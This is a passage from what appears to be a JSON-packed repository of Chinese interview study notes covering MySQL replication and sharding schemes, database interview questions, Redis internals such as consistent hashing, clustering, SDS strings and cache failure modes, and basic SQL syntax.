复制原理\n  1. Master 将数据改变记录到二进制日志(`binary log`)中，也就是配置文件log-bin指定的文件，这些记录叫做二进制日志事件(`binary log events`)\n  2. Slave 通过I/O线程读取 `Master` 中的`binary log events`并写入到它的中继日志(`relay log`)\n  3. Slave 重做中继日志中的事件，把中继日志中的事件信息一条一条的在本地执行一次，完成数据在本地的存储，从而实现将改变反映到它自己的数据(数据重放)\n\n### 要求\n  1. 主从服务器操作系统版本和位数一致\n  2. Master和Slave数据库的版本要一致\n  3. Master和Slave数据库中的数据要一致\n  4. Master开启二进制日志，Master和Slave的server_id在局域网内必须唯一\n\n## [分库、扩容的时候的数据迁移](http://jm.taobao.org/2013/11/15/590/)\n\n### 分库分表\n\n目前绝大多数应用采取的两种分库分表规则\n  - mod方式\n  - dayofweek系列日期方式（所有星期1的数据在一个库/表,或所有?月份的数据在一个库表）\n\n这两种方式有个本质的特点，就是 **离散性加周期性**。例如以一个表的主键对 `3` 取余数的方式分库或分表：\n\n![](images/5-mysql-ea314.png)\n\n那么随着数据量的增大，每个表或库的数据量都是各自增长。当一个表或库的数据量增长到了一个极限，要加库或加表的时候，\n介于这种分库分表算法的离散性，必需要做数据迁移才能完成。例如从3个扩展到5个的时候：\n\n![](images/5-mysql-996d2.png)\n\n需要将原先以 `mod3` 分类的数据，重新以 `mod5` 分类，不可避免的带来数据迁移。每个表的数据都要被重新分配到多个新的表\n相似的例子比如从 `dayofweek` 分的 `7` 个库/表,要扩张为以 `dayofmonth` 分的 `31` 张库/表，同样需要进行数据迁移。\n\n数据迁移带来的问题是\n  - 业务至少要两次发布\n  - 要专门写工具来导数据。由于各业务之间的差别，很难做出统一的工具。目前几乎都是每个业务写一套\n  - 要解决增量、全量、时间点，数据不一致等问题\n\n如何在数据量扩张到现有库表极限，加库加表时避免数据迁移呢？\n\n通常的数据增长往往是随着时间的推移增长的。随着业务的开展，时间的推移，数据量不断增加。\n\n考虑到数据增长的特点，如果我们以代表时间增长的字段，按递增的范围分库，则可以避免数据迁移。这样的方式下，在数据量再增加达到前几个库/表的上限时，则继续水平增加库表，原先的数据就不需要迁移了。但是这样的方式会带来一个 **热点问题**：当前的数据量达到某个库表的范围时，所有的插入操作，都集中在这个库/表了。\n\n所以在满足基本业务功能的前提下，分库分表方案应该尽量避免的两个问题：\n  1. 数据迁移\n  2. 热点\n\n**如何既能避免数据迁移又能避免插入更新的热点问题呢？**\n\n结合离散分库/分表和连续分库/分表的优点，如果一定要写热点和新数据均匀分配在每个库，同时又保证易于水平扩展，可以考虑这样的模式：\n\n### 水平扩展scale-out方案 -- 模式一\n\n#### 阶段一\n\n一个库 `DB0` 之内分4个表，id%4 ：\n\n![](images/5-mysql-20223.png)\n\n#### 阶段二\n\n增加 `DB1` 库，t2和t3整表搬迁到 `DB1`\n\n![](images/5-mysql-66089.png)\n\n#### 阶段三\n\n增加 `DB2` 和 `DB3` 库，t1 整表搬迁到 `DB2` ，t3整表搬迁的 `DB3`：\n\n![](images/5-mysql-b78d8.png)\n\n为了规则表达，通过内部名称映射或其他方式，我们将DB1和DB2的名称和位置互换得到下图：\n\n```\ndbRule: “DB” + (id % 4)\ntbRule: “t”  + (id % 4)\n```\n\n![](images/5-mysql-d1b8a.png)\n\n即逻辑上始终保持4库4表，每个表一个库。这种做法也是目前店铺线图片空间采用的做法。\n\n上述方案有一个缺点，就是在从一个库到 4 个库的过程中，单表的数据量一直在增长。当单表的数据量超过一定范围时，可能会带来性能问题。比如索引的问题，历史数据清理的问题。另外当开始预留的表个数用尽，到了 4 物理库每库 1 个表的阶段，再进行扩容的话，不可避免的要从表上下手。\n\n### 水平扩展scale-out方案 -- 模式二\n\n#### 阶段一\n\n一个数据库，两个表，`rule0 = id % 2`\n\n```\n分库规则dbRule: “DB0″\n分表规则tbRule: “t” + (id % 2)\n```\n\n![](images/5-mysql-3a686.png)\n\n#### 阶段二\n\n当单库的数据量接近 1千万，单表的数据量接近 500 万时，进行扩容（数据量只是举例，具体扩容量要根据数据库和实际压力状况决定）：增加一个数据库 `DB1`，将 `DB0.t0` 整表迁移到新库 `DB1.t1`。每个库各增加1个表，未来10M-20M的数据mod2分别写入这2个表：`t0_1，t1_1`：\n\n![](images/5-mysql-6885c.png)\n\n分库规则dbRule:\n```\n“DB” + (id % 2)\n```\n\n分表规则tbRule:\n\n```java\n    if(id < 1千万){\n        return \"t\"+ (id % 2);   //1千万之前的数据，仍然放在t0和t1表。t1表从DB0搬迁到DB1库\n    }else if(id < 2千万){\n        return \"t\"+ (id % 2) +\"_1\"; //1千万之后的数据，各放到两个库的两个表中: t0_1,t1_1\n    }else{\n        throw new IllegalArgumentException(\"id outof range[20000000]:\" + id);\n    }\n```\n\n这样 `10M` 以后的新生数据会均匀分布在 `DB0` 和 `DB1`; 插入更新和查询热点仍然能够在每个库中均匀分布。每个库中同时有老数据和不断增长的新数据。每表的数据仍然控制在 `500万` 以下。\n\n#### 阶段三\n\n当两个库的容量接近上限继续水平扩展时，进行如下操作：\n  - 新增加两个库：`DB2`和`DB3`，以`id % 4`分库。余数`0、1、2、3`分别对应`DB`的下标. `t0`和`t1`不变，\n  - 将`DB0.t0_1`整表迁移到`DB2`; 将`DB1.t1_1`整表迁移到`DB3`\n\n`20M-40M`的数据 mod4 分为 4 个表：`t0_2，t1_2，t2_2，t3_2`，分别放到4个库中：\n\n![](images/5-mysql-3f186.png)\n\n新的分库分表规则如下：\n\n分库规则dbRule:\n```java\n  if(id < 2千万){\n      //2千万之前的数据，4个表分别放到4个库\n      if(id < 1千万){\n          return \"db\"+  (id % 2);     //原t0表仍在db0, t1表仍在db1\n      }else{\n          return \"db\"+ ((id % 2) +2); //原t0_1表从db0搬迁到db2; t1_1表从db1搬迁到db3\n      }\n  }else if(id < 4千万){\n      return \"db\"+ (id % 4);          //超过2千万的数据，平均分到4个库\n  }else{\n      throw new IllegalArgumentException(\"id out of range. id:\"+id);\n  }\n```\n分表规则tbRule:\n```java\n  if(id < 2千万){        //2千万之前的数据，表规则和原先完全一样，参见阶段二\n      if(id < 1千万){\n          return \"t\"+ (id % 2);       //1千万之前的数据，仍然放在t0和t1表\n      }else{\n          return \"t\"+ (id % 2) +\"_1\"; //1千万之后的数据，仍然放在t0_1和t1_1表\n      }\n  }else if(id < 4千万){\n      return \"t\"+ (id % 4)+\"_2\";      //超过2千万的数据分为4个表t0_2，t1_2，t2_2，t3_2\n  }else{\n      throw new IllegalArgumentException(\"id out of range. id:\"+id);\n  }\n```\n\n随着时间的推移，当第一阶段的`t0/t1`，第二阶段的`t0_1/t1_1`逐渐成为历史数据，不再使用时，可以直接`truncate`掉整个表。省去了历史数据迁移的麻烦。\n\n### 水平扩展scale-out方案 -- 模式三\n\n非倍数扩展：如果从上文的阶段二到阶段三不希望一下增加两个库呢？尝试如下方案：\n\n迁移前：\n\n![](images/5-mysql-6885c.png)\n\n新增库为`DB2`，`t0、t1`都放在 `DB0`，\n\n```\nt0_1整表迁移到 DB1\nt1_1整表迁移到 DB2\n```\n\n迁移后：\n\n![](images/5-mysql-f3040.png)\n\n这时 `DB0` 退化为旧数据的读库和更新库。新增数据的热点均匀分布在 `DB1` 和 `DB2`\n4无法整除3，因此如果从4表2库扩展到3个库，不做行级别的迁移而又保证热点均匀分布看似无法完成。\n\n当然如果不限制每库只有两个表，也可以如下实现：\n\n![](images/5-mysql-f3040.png)\n\n小于 `10M` 的 `t0` 和 `t1` 都放到 `DB0` ，以 `mod2` 分为两个表，原数据不变\n`10M-20M`的，以 `mod2` 分为两个表 `t0_1、t1_1`，原数据不变，分别搬迁到 `DB1` ，和 `DB2` `20M` 以上的以 `mod3` 平均分配到 3 个 DB 库的 `t_0、t_2、t_3`表中\n\n这样 `DB1` 包含最老的两个表，和最新的 `1/3` 数据。`DB1` 和 `DB2` 都分表包含次新的两个旧表 `t0_1、t1_1` 和最新的 `1/3` 数据。新旧数据读写都可达到均匀分布。\n\n### 总结\n\n总而言之，两种规则映射（函数）：\n  - `离散映射`：如mod或dayofweek， 这种类型的映射能够很好的解决热点问题，但带来了数据迁移和历史数据问题。\n  - `连续映射`；如按id或gmt_create_time的连续范围做映射。这种类型的映射可以避免数据迁移，但又带来热点问题。\n\n**离散映射和连续映射这两种相辅相成的映射规则，正好解决热点和迁移这一对相互矛盾的问题**。\n\n我们之前只运用了离散映射，引入连续映射规则后，两者结合，精心设计，应该可以设计出满足避免热点和减少迁移之间任意权衡取舍的规则。\n\n基于以上考量，分库分表规则的设计和配置，长远说来必须满足以下要求\n  - 可以动态推送修改\n  - **规则可以分层级叠加**，旧规则可以在新规则下继续使用，新规则是旧规则在更宽尺度上的拓展，以此支持新旧规则的兼容，避免数据迁移\n  - 用 `mod` 方式时，最好选 2 的指数级倍分库分表，这样方便以后切割。\n"
  },
  {
    "path": "docs/android/interview/basic/database/questions.md",
    "content": "# 面试题\n\n### MySQL有哪些日志，分别是什么用处？\n\nmysql日志一般分为5种\n\n  - **错误日志**：-log-err (记录启动，运行，停止mysql时出现的信息)\n  - **二进制日志**：-log-bin （记录所有更改数据的语句，还用于复制，恢复数据库用）\n  - **查询日志**：-log （记录建立的客户端连接和执行的语句）\n  - **慢查询日志**: -log-slow-queries （记录所有执行超过long_query_time秒的所有查询）\n  - **更新日志**: -log-update （二进制日志已经代替了老的更新日志，更新日志在MySQL5.1中不再使用）\n\n***\n\n### 除传统的关系型数据库之外，有哪些NoSQL数据库？\n\n  - `Memcached`：分布式内存对象缓存系统，可以与MySQL数据库协同使用。它通过在内存中缓存数据和对象来减少读取数据库的次数，从而提高动态、数据库驱动网站的访问速度。**Memcached基于一个存储键/值对的HashMap**。`Memcached`可以用于解决数据读的性能，但是对写操作不能有提高。\n  - `Redis`：基于内存亦可持久化的日志型、Key-Value数据库。和Memcached类似，但是它支持存储的value类型相对更多。同时可以实现主从同步，即分布式。\n  - `MongoDB`：基于分布式文件存储的数据库。`MongoDB`是一个介于关系数据库和非关系数据库之间的产品，是非关系数据库当中功能最丰富，最像关系数据库的。他支持的数据结构非常松散，是类似`json`的`bson`格式，因此可以存储比较复杂的数据类型。\n  - `HBase`：是一个分布式的、面向列的开源数据库。`HBase`是`Apache`的`Hadoop`项目的子项目。**HBase不同于一般的关系数据库，它是一个适合于非结构化数据存储的数据库。另一个不同的是HBase基于列的而不是基于行的模式**。\n\n***\n\n### 视图由多个表连接而成，可以对视图进行插入操作么？\n\n  - 若视图是由两个以上基本表导出的，则此视图不允许更新。\n  - 若视图的字段来自字段表达式或常数，则不允许对视图执行INSTER和UPDATE操作，但允许delete。\n  - 若视图的字段来自聚集函数，则此视图不允许更新。\n  - 若视图中含有GROUP by子句，则此视图不允许更新。\n  - 若视图中含有DISTINCT短语，则此视图不允许更新。.\n  - 若视图定义中有嵌套查询，并且内层查询的FROM子句中涉及的表也是导出该视图的基本表，则此视图不允许更新。.\n  - 一个不允许更新的视图上定义的视图不允许更新。\n\n***\n\n### `UNION` 和 `UNION ALL` 有什么区别？\n\n`UNION` 用于 **合并两个或多个 `SELECT` 语句的结果集，并消去表中任何重复行**。`UNION` 内部的 SELECT 语句必须拥有相同数量的列，列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。\n\n`UNION ALL`基本使用和`UNION`是一致的，但是`UNION ALL`不会消除表中的重复行。\n\n***\n\n### 主键和唯一键有什么区别？\n\n  - 主键不能重复，不能为空，唯一键不能重复，可以为空。\n\n  - 建立主键的目的是让外键来引用。\n\n  - 一个表最多只有一个主键，但可以有很多唯一键。\n\n***\n\n### MySQL中空值和NULL的区别？\n\n  - 空值('')是不占用空间的，判断空字符用 = '' 或者 <> '' 来进行处理。\n  - NULL值是未知的，且占用空间，不走索引；判断 NULL 用 IS NULL 或者 is not null ，SQL 语句函数中可以使用 ifnull ()函数来进行处理。\n  - 无法比较 NULL 和 0；它们是不等价的。\n  - 无法使用比较运算符来测试 NULL 值，比如 =, <, 或者 <>。\n  - `NULL` 值可以使用 `<=>` 符号进行比较，该符号与等号作用相似，但对`NULL`有意义。\n  - 进行 count ()统计某列的记录数的时候，如果采用的 NULL 值，会别系统自动忽略掉，但是空值是统计到其中。\n\n***\n"
  },
  {
    "path": "docs/android/interview/basic/database/redis.md",
    "content": "# Redis\n\n## 线程模型\n\nRedis 在处理网络请求是使用单线程模型，并通过 IO 多路复用来提高并发。但是在其他模块，比如：持久化，会使用多个线程。\n\n## 数据结构\n\nRedis的外围由一个键、值映射的字典构成。与其他非关系型数据库主要不同在于：Redis中值的类型不仅限于 **字符串**，还支持如下抽象数据类型：\n  - **List**：字符串列表\n  - **Set**：无序不重复的字符串集合\n  - **Soret Set**：有序不重复的字符串集合\n  - **HashTable**：键、值都为字符串的哈希表\n\n值的类型决定了值本身支持的操作。Redis支持不同无序、有序的列表，无序、有序的集合间的交集、并集等高级服务器端原子操作。\n\n## 持久化：\n\n  - 使用快照，一种半持久耐用模式。不时的将数据集以异步方式从内存以RDB格式写入硬盘。\n  - 1.1版本开始使用更安全的 `AOF` 格式替代，一种只能追加的日志类型。将数据集修改操作记录起来。Redis 能够在后台对只可追加的记录作修改来避免无限增长的日志。\n\n```\n  1. aof文件比rdb更新频率高，优先使用aof还原数据。\n  2. aof比rdb更安全也更大\n  3. rdb性能比aof好\n  4. 如果两个都配了优先加载AOF\n```\n\n## 一致性哈希算法\n\n一致哈希 是一种特殊的哈希算法。在使用一致哈希算法后，哈希表槽位数（大小）的改变平均只需要对 `K/n` 个关键字重新映射，其中 `K` 是关键字的数量，`n` 是槽位数量。然而在传统的哈希表中，添加或删除一个槽位的几乎需要对所有关键字进行重新映射。\n\n> 一致哈希也可用于实现健壮缓存来减少大型 Web 应用中系统部分失效带来的负面影响\n\n### 需求\n\n在使用 `n` 台缓存服务器时，一种常用的负载均衡方式是，对资源 `o` 的请求使用 `hash(o)= o mod n` 来映射到某一台缓存服务器。当增加或减少一台缓存服务器时这种方式可能会改变所有资源对应的 `hash` 值，也就是所有的缓存都失效了，这会使得缓存服务器大量集中地向原始内容服务器更新缓存。\n\n因此需要一致哈希算法来避免这样的问题。 一致哈希尽可能使同一个资源映射到同一台缓存服务器。这种方式要求增加一台缓存服务器时，新的服务器尽量分担存储其他所有服务器的缓存资源。减少一台缓存服务器时，其他所有服务器也可以尽量分担存储它的缓存资源。\n\n一致哈希算法的主要思想是将每个缓存服务器与一个或多个哈希值域区间关联起来，其中区间边界通过计算缓存服务器对应的哈希值来决定。如果一个缓存服务器被移除，则它所对应的区间会被并入到邻近的区间，其他的缓存服务器不需要任何改变。\n\n### 实现\n\n一致哈希将每个对象映射到圆环边上的一个点，系统再将可用的节点机器映射到圆环的不同位置。查找某个对象对应的机器时，需要用一致哈希算法计算得到对象对应圆环边上位置，沿着圆环边上查找直到遇到某个节点机器，这台机器即为对象应该保存的位置。\n\n当删除一台节点机器时，这台机器上保存的所有对象都要移动到下一台机器。添加一台机器到圆环边上某个点时，这个点的下一台机器需要将这个节点前对应的对象移动到新机器上。更改对象在节点机器上的分布可以通过调整节点机器的位置来实现。\n\n## [实践](https://yikun.github.io/2016/06/09/%E4%B8%80%E8%87%B4%E6%80%A7%E5%93%88%E5%B8%8C%E7%AE%97%E6%B3%95%E7%9A%84%E7%90%86%E8%A7%A3%E4%B8%8E%E5%AE%9E%E8%B7%B5/)\n\n> 假设有1000w个数据项，100个存储节点，请设计一种算法合理地将他们存储在这些节点上。\n\n看一看普通Hash算法的原理：\n\n![](images/1c5e07626a9cadd5f1ea8acd85838067.png)\n\n```\nfor item in range(ITEMS):\n    k = md5(str(item)).digest()\n    h = unpack_from(\">I\", k)[0]\n    # 通过取余的方式进行映射\n    n = h % NODES\n    node_stat[n] += 1\n```\n\n普通的Hash算法均匀地将这些数据项打散到了这些节点上，并且分布最少和最多的存储节点数据项数目小于 `1%`。之所以分布均匀，主要是依赖 Hash 算法（实现使用的MD5算法）能够比较随机的分布。\n\n然而，我们看看存在一个问题，由于 **该算法使用节点数取余的方法，强依赖 `node` 的数目**，因此，当是 `node` 数发生变化的时候，`item` 所对应的 `node` 发生剧烈变化，而发生变化的成本就是我们需要在 `node` 数发生变化的时候，数据需要迁移，这对存储产品来说显然是不能忍的。\n\n#### 一致性哈希\n\n普通 `Hash` 算法的劣势，即当 `node` 数发生变化（增加、移除）后，数据项会被重新“打散”，导致大部分数据项不能落到原来的节点上，从而导致大量数据需要迁移。\n\n那么，一个亟待解决的问题就变成了：当 `node` 数发生变化时，如何保证尽量少引起迁移呢？即当增加或者删除节点时，对于大多数 item ，保证原来分配到的某个 node ，现在仍然应该分配到那个 node ，将数据迁移量的降到最低。\n\n![](images/3de376ea57386b890483b27cf131f24d.png)\n\n```\nfor n in range(NODES):\n    h = _hash(n)\n    ring.append(h)\n    ring.sort()\n    hash2node[h] = n\nfor item in range(ITEMS):\n    h = _hash(item)\n    n = bisect_left(ring, h) % NODES\n    node_stat[hash2node[ring[n]]] += 1\n```\n\n**虽然一致性Hash算法解决了节点变化导致的数据迁移问题，但是，数据项分布的均匀性很差**。\n\n![](images/5e6b9afd23ff44415b434d05ed0449ce.png)\n\n主要是因为这 100 个节点 Hash 后，在环上分布不均匀，导致了每个节点实际占据环上的区间大小不一造成的。\n\n#### 改进 -- 虚节点\n\n当我们将 node 进行哈希后，这些值并没有均匀地落在环上，因此，最终会导致，这些节点所管辖的范围并不均匀，最终导致了数据分布的不均匀。\n\n![](images/c807b7a0af060a874fdb27abf5caf289.png)\n\n```\nfor n in range(NODES):\n    for v in range(VNODES):\n        h = _hash(str(n) + str(v))\n        # 构造ring\n        ring.append(h)\n        # 记录hash所对应节点\n        hash2node[h] = n\nring.sort()\nfor item in range(ITEMS):\n    h = _hash(str(item))\n    # 搜索ring上最近的hash\n    n = bisect_left(ring, h) % (NODES*VNODES)\n    node_stat[hash2node[ring[n]]] += 1\n```\n\n通过增加虚节点的方法，使得每个节点在环上所“管辖”更加均匀。这样就既保证了在节点变化时，尽可能小的影响数据分布的变化，而同时又保证了数据分布的均匀。也就是靠增加“节点数量”加强管辖区间的均匀。\n\n## 集群\n\n### 哨兵 -- Sentinel\n\n`Redis-Sentinel` 是 Redis 官方推荐的 **高可用性( `HA` )解决方案**，当用 Redis 做 `Master-slave` 的高可用方案时，假如 `master` 宕机了， Redis 本身(包括它的很多客户端)都没有实现自动进行主备切换，而 `Redis-sentinel` 本身也是一个独立运行的进程，它能监控多个 `master-slave` 集群，发现 `master` 宕机后能进行自懂切换。\n\n它的主要功能有以下几点\n\n  - 不时地监控 redis 是否按照预期良好地运行;\n  - 如果发现某个 redis 节点运行出现状况，能够通知另外一个进程(例如它的客户端);\n  - 能够进行自动切换。当一个 master 节点不可用时，能够选举出 master 的多个slave (如果有超过一个 slave 的话)中的一个来作为新的 master ,其它的 slave 节点会将它所追随的 master 的地址改为被提升为 master 的 slave 的新地址。\n\n很显然，**只使用单个 sentinel 进程来监控 redis 集群是不可靠的**，当 sentinel 进程宕掉后( sentinel 本身也有单点问题，single-point-of-failure)整个集群系统将无法按照预期的方式运行。所以有必要将sentinel集群，这样有几个好处：\n\n  - 即使有一些sentinel进程宕掉了，依然可以进行redis集群的主备切换；\n  - 如果只有一个sentinel进程，如果这个进程运行出错，或者是网络堵塞，那么将无法实现redis集群的主备切换;\n  - 如果有多个sentinel，redis的客户端可以随意地连接任意一个sentinel来获得关于redis集群中的信息。\n\n### Redis Cluster\n\nRedis Cluster 是一种服务器 `Sharding` 技术，3.0版本开始正式提供。\n\nRedis Cluster中，Sharding 采用 *slot(槽)* 的概念，一共分成 `16384` 个槽，这有点儿类 `pre sharding` 思路。对于每个进入 Redis 的键值对，根据 key 进行散列，分配到这 `16384` 个 slot 中的某一个中。使用的hash算法也比较简单，就是 `CRC16` 后 `16384` 取模。要保证 `16384` 个槽对应的 node 都正常工作，**如果某个 node 发生故障，那它负责的 slots 也就失效，整个集群将不能工作**。\n\n> 16384 = 2048 * 8 bit，2k 大小的 bit 数\n\n为了增加集群的可访问性，官方推荐的方案是将 node 配置成 **主从结构**，即一个 master 主节点，挂 `n` 个 slave 从节点。这时，如果主节点失效，Redis Cluster 会根据选举算法从 slave 节点中选择一个上升为主节点，整个集群继续对外提供服务。\n\n对客户端来说，**整个 cluster 被看做是一个整体**，客户端可以连接任意一个 node 进行操作，就像操作单一 Redis 实例一样，当客户端操作的 key 没有分配到该 node 上时，Redis 会返回**转向指令**，指向正确的 node ，这有点儿像浏览器页面的 `302  redirect` 跳转。\n\n### Redis Sharding 集群\n\nRedis Sharding 是客户端 Sharding 的方案，其主要思想是采用哈希算法 **将 Redis 数据的 key 进行散列**，通过 hash 函数，特定的 key 会映射到特定的 Redis 节点上。这样，客户端就知道该向哪个 Redis 节点操作数据。\n\nJedis 的 Redis Sharding 实现具有如下特点：\n  - **采用一致性哈希算法(consistent hashing)**，将key和节点name同时hashing，然后进行映射匹配，采用的算法是MURMUR_HASH。采用一致性哈希而不是采用简单类似哈希求模映射的主要原因是当增加或减少节点时，不会产生由于重新匹配造成的rehashing。一致性哈希只影响相邻节点key分配，影响量小。\n  - 为了避免一致性哈希只影响相邻节点造成节点分配压力， `ShardedJedis` 会对每个Redis 节点根据名字(没有，Jedis会赋予缺省名字)会 **虚拟化出160个虚拟节点** 进行散列。根据权重 `weight` ，也可虚拟化出160倍数的虚拟节点。用虚拟节点做映射匹配，可以在增加或减少 `Redis` 节点时，key 在各 `Redis` 节点移动再分配更均匀，而不是只有相邻节点受影响。\n  - **ShardedJedis 支持 keyTagPattern 模式**，即抽取 key 的一部分 `keyTag` 做 `sharding` ，这样通过合理命名 key ，可以将一组相关联的key放入同一个 Redis 节点，这在避免跨节点访问相关数据时很重要。\n\n## string\n\nRedis 没有直接使用 C 语言传统的字符串表示（以空字符结尾的字符数组，以下简称 C 字符串）， 而是自己构建了一种名为简单动态字符串（simple dynamic string，SDS）的抽象类型， 并将 SDS 用作 Redis 的默认字符串表示。\n\n在 Redis 里面， C 字符串只会作为字符串字面量（string literal）， 用在一些无须对字符串值进行修改的地方， 比如打印日志。\n\n当 Redis 需要的不仅仅是一个字符串字面量， 而是一个可以被修改的字符串值时， Redis 就会使用 SDS 来表示字符串值： 比如在 Redis 的数据库里面， 包含字符串值的键值对在底层都是由 SDS 实现的。\n\n| C字符串     | SDS     |\n| :------------- | :------------- |\n|获取字符串长度的复杂度为 O(N) 。\t|获取字符串长度的复杂度为 O(1) 。|\n|API 是不安全的，可能会造成缓冲区溢出。\t|API 是安全的，不会造成缓冲区溢出。|\n|修改字符串长度 N 次必然需要执行 N 次内存重分配。\t|修改字符串长度 N 次最多需要执行 N 次内存重分配。|\n|只能保存文本数据。\t|可以保存文本或者二进制数据。|\n|可以使用所有 <string.h> 库中的函数。\t|可以使用一部分 <string.h> 库中的函数。|\n\n### 缓冲区溢出\n\n因为 C 字符串不记录自身的长度， 所以 `strcat` 假定用户在执行这个函数时， 已经为 `dest` 分配了足够多的内存， 可以容纳 `src` 字符串中的所有内容， 而一旦这个假定不成立时， 就会产生缓冲区溢出。\n\n举个例子， 假设程序里有两个在内存中紧邻着的 C 字符串 `s1` 和 `s2` ， 其中 s1 保存了字符串 `\"Redis\"` ， 而 s2 则保存了字符串 `\"MongoDB\"` ， 如图所示。\n\n![](images/a9832e14ba184a4049f979e521ef050b.png)\n\n如果一个程序员决定通过执行：\n\n```\nstrcat(s1, \" Cluster\");\n```\n\n将 `s1` 的内容修改为 `\"Redis Cluster\"` ， 但粗心的他却忘了在执行 `strcat` 之前为 `s1` 分配足够的空间， 那么在 `strcat` 函数执行之后， `s1` 的数据将溢出到 `s2` 所在的空间中， 导致 `s2` 保存的内容被意外地修改， 如图所示。\n\n![](images/cc9ac0419ae3f5059076c2d66f867931.png)\n\n与 `C` 字符串不同， `SDS` 的空间分配策略完全杜绝了发生缓冲区溢出的可能性： **当 SDS API 需要对 SDS 进行修改时， API 会先检查 SDS 的空间是否满足修改所需的要求**， 如果不满足的话， API 会自动将 `SDS` 的空间扩展至执行修改所需的大小， 然后才执行实际的修改操作， 所以使用 `SDS` 既不需要手动修改 `SDS` 的空间大小， 也不会出现前面所说的缓冲区溢出问题。\n\n### 减少修改字符串时带来的内存重分配次数\n\n  - 空间预分配：解决 append 问题\n  - 惰性空间释放：解决 strim 问题\n\n### 二进制安全\n\nC 字符串中的字符必须符合某种编码（比如 `ASCII`）， 并且 **除了字符串的末尾之外， 字符串里面不能包含空字符**， 否则最先被程序读入的空字符将被误认为是字符串结尾 —— 这些限制使得 C 字符串只能保存文本数据， 而不能保存像图片、音频、视频、压缩文件这样的二进制数据。\n\n## zset底层实现\n\n跳跃表（skiplist）是一种有序数据结构， 它通过在每个节点中维持多个指向其他节点的指针， 从而达到快速访问节点的目的。\n\n`Redis` 使用跳跃表作为有序集合键的底层实现之一：\n  - 如果一个有序集合包含的元素数量比较多，\n  - 有序集合中元素的成员（`member`）是比较长的字符串时\n\nRedis 就会使用跳跃表来作为有序集合键的底层实现。\n\n和链表、字典等数据结构被广泛地应用在 Redis 内部不同， **Redis 只在两个地方用到了跳跃表， 一个是实现有序集合键， 另一个是在集群节点中用作内部数据结构**， 除此之外， 跳跃表在 Redis 里面没有其他用途。\n\n## 缓存穿透、缓存击穿、缓存雪崩\n\n### 缓存穿透\n\n访问一个不存在的key，缓存不起作用，请求会穿透到 DB，流量大时 DB 会挂掉。\n\n#### 解决方案\n\n  - 采用布隆过滤器，使用一个足够大的`bitmap`，用于存储可能访问的 `key`，不存在的key直接被过滤；\n\n  - 访问key未在DB查询到值，也将空值写进缓存，但可以设置较短过期时间。\n\n### 缓存雪崩\n\n大量的 key 设置了相同的过期时间，导致在缓存在同一时刻全部失效，造成瞬时DB请求量大、压力骤增，引起雪崩。\n\n#### 解决方案\n\n可以给缓存设置过期时间时加上一个随机值时间，使得每个 key 的过期时间分布开来，不会集中在同一时刻失效。\n\n### 缓存击穿\n\n一个存在的key，在缓存过期的一刻，同时有大量的请求，这些请求都会击穿到DB，造成瞬时DB请求量大、压力骤增。\n\n#### 解决方案\n\n在访问key之前，采用`SETNX`（set if not exists）来设置另一个短期key来锁住当前key的访问，访问结束再删除该短期key。\n\n## Redis分布式锁\n\n  - 加锁：`redis.set(String key, String value, String nxxx, String expx, int time)`\n  - 解锁：通过 Lua 脚本执行 `if redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end`\n\n## 数据淘汰机制\n\n### 对象过期\n\nRedis回收过期对象的策略：定期删除+惰性删除\n\n### 内存淘汰\n\nRedis提供了下面几种淘汰策略供用户选择，其中默认的策略为noeviction策略：\n\n  - `noeviction`：当内存使用达到阈值的时候，所有引起申请内存的命令会报错。\n  - `allkeys-lru`：在主键空间中，优先移除最近未使用的key。\n  - `volatile-lru`：在设置了过期时间的键空间中，优先移除最近未使用的key。\n  - `allkeys-random`：在主键空间中，随机移除某个key。\n  - `volatile-random`：在设置了过期时间的键空间中，随机移除某个key。\n  - `volatile-ttl`：在设置了过期时间的键空间中，具有更早过期时间的key优先移除。\n\n> 这里补充一下主键空间和设置了过期时间的键空间，举个例子，假设我们有一批键存储在Redis中，则有那么一个哈希表用于存储这批键及其值，如果这批键中有一部分设置了过期时间，那么这批键还会被存储到另外一个哈希表中，这个哈希表中的值对应的是键被设置的过期时间。设置了过期时间的键空间为主键空间的子集。\n\n#### 非精准的LRU\n\n上面提到的LRU（Least Recently Used）策略，实际上 **Redis 实现的 LRU 并不是可靠的 LRU**，也就是名义上我们使用LRU算法淘汰键，但是实际上被淘汰的键并不一定是真正的最久没用的，这里涉及到一个权衡的问题，如果需要在全部键空间内搜索最优解，则必然会增加系统的开销，Redis是单线程的，也就是同一个实例在每一个时刻只能服务于一个客户端，所以耗时的操作一定要谨慎。\n\n为了在一定成本内实现相对的LRU，早期的 Redis 版本是 **基于采样的 LRU** ，也就是放弃全部键空间内搜索解改为采样空间搜索最优解。自从 Redis3.0 版本之后，Redis 作者对于基于采样的 LRU 进行了一些优化，目的是在一定的成本内让结果更靠近真实的 LRU。"
  },
  {
    "path": "docs/android/interview/basic/database/sql.md",
    "content": "# SQL语句\n\n## CRUD\n\n### CREATE TABLE\n\n```sql\nCREATE TABLE `user` (\n  `id` INT AUTO_INCREMENT,\n  `name` VARCHAR (20),\n  PRIMARY KEY (`id`)\n);\n```\n>  VARCHAR记得指定长度。\n\n### UPDATE\n\n```sql\nUPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值\n```\n\n### INSERT\n\n```sql\nINSERT INTO 表名称 VALUES (值1, 值2,....)\n\nINSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)\n```\n\n### DELETE\n\n```sql\nDELETE FROM 表名称 WHERE 列名称 = 值\n```\n\n## 修改表结构\n\n```sql\nALTER TABLE table_name add column_name datatype\n\nALTER TABLE table_name drop COLUMN column_name\n\nALTER TABLE table_name modify COLUMN column_name datatype\n```\n\n## MySQL SQL 查询语句执行顺序\n\n  1. (7) - SELECT   \n  1. (8) - DISTINCT <select_list>  \n  1. (1) - FROM <left_table>  \n  1. (3) - <join_type> JOIN <right_table>  \n  1. (2) - ON <join_condition>  \n  1. (4) - WHERE <where_condition>  \n  1. (5) - GROUP BY <group_by_list>  \n  1. (6) - HAVING <having_condition>  \n  1. (9) - ORDER BY <order_by_condition>  \n  1. (10 - LIMIT <limit_number>  \n\n关于 SQL 语句的执行顺序，有三个值得我们注意的地方：\n\n  - **FROM 才是 SQL 语句执行的第一步，并非 SELECT**。 数据库在执行 SQL 语句的第一步是将数据从硬盘加载到数据缓冲区中，以便对这些数据进行操作。\n  - **SELECT 是在大部分语句执行了之后才执行的，严格的说是在 FROM 和 GROUP BY 之后执行的**。理解这一点是非常重要的，这就是你不能在 WHERE 